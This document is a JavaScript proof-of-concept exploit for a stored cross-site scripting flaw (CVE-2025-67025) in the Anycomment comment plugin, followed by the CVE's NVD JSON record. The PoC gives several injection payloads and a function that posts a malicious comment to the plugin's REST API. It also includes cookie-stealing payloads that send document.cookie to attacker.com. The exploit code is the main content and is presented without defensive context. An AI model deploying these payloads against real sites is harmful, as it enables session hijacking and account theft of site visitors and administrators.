CVE-2025-67025

// CVE-2025-67025 PoC - Stored XSS in Anycomment // Attack vector: Inject malicious script in comment field // Method 1: Basic script injection const maliciousComment = { content: '<script>alert(document.cookie)</script>', author: 'Attacker', post_id: 123 }; // Method 2: Event handler injection (bypasses some filters) const maliciousComment2 = { content: '<img src=x onerror="fetch(\"https://attacker.com/steal?c=\"+document.cookie)">', author: 'Attacker', post_id: 123 }; // Method 3: DOM-based XSS using data URI const maliciousComment3 = { content: '<a href="javascript:alert(document.domain)">Click me</a>', author: 'Attacker', post_id: 123 }; // Send malicious comment via Anycomment API async function exploitXSS(targetUrl) { const response = await fetch(`${targetUrl}/wp-json/anycomment/v1/comment`, { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify(maliciousComment) }); return response.json(); } // Cookie stealing payload const stealPayload = '<script>fetch("https://attacker.com/log?cookie="+btoa(document.cookie))</script>';

{"cve": {"id": "CVE-2025-67025", "sourceIdentifier": "[email protected]", "published": "2026-01-15T21:16:04.620", "lastModified": "2026-01-30T19:42:50.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross Site Scripting vulnerability in Anycomment anycomment.io 0.4.4 allows a remote attacker to execute arbitrary code via the Anycomment comment section"}, {"lang": "es", "value": "Vulnerabilidad de Cross Site Scripting en Anycomment anycomment.io 0.4.4 permite a un atacante remoto ejecutar código arbitrario a través de la sección de comentarios de Anycomment."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anycomment:anycomment.io:0.4.4:*:*:*:*:*:*:*", "matchCriteriaId": "A9B7B04A-AE2D-4897-8F04-1D2F6A099B09"}]}]}], "references": [{"url": "https://anycomment.io/site/changelog", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://bdu.fstec.ru/vul/2023-08900", "source": "[email protected]", "tags": ["Broken Link"]}]}}